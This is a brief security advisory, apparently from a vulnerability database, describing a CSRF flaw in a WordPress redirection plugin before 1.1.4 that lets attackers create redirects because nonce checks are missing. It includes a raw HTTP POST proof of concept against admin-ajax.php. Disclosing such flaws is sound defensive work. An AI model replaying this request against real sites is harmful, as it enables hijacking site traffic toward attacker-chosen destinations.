Redirection < 1.1.4 - Redirect Creation via CSRF

The plugin does not add nonce verification in place when adding the redirect, which could allow attackers to add redirects via a CSRF attack.

PoC

POST /wp-admin/admin-ajax.php HTTP/2 Host: sawcup.s2-tastewp.com Cookie: test=test; User-Agent: useragent Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://sawcup.s2-tastewp.com/wp-admin/admin.php?page=irrp-redirection X-Requested-With: XMLHttpRequest Content-Type: application/x-www-form-urlencoded Content-Length: 143 Origin: https://sawcup.s2-tastewp.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Te: trailers action=irAddRedirect&id;=0&from;=https%3a%2f%2fsawcup.s2-tastewp.com%2ftest&to;=https%3a%2f%2fexample.com%2f&selected;=&redirectionType;=redirection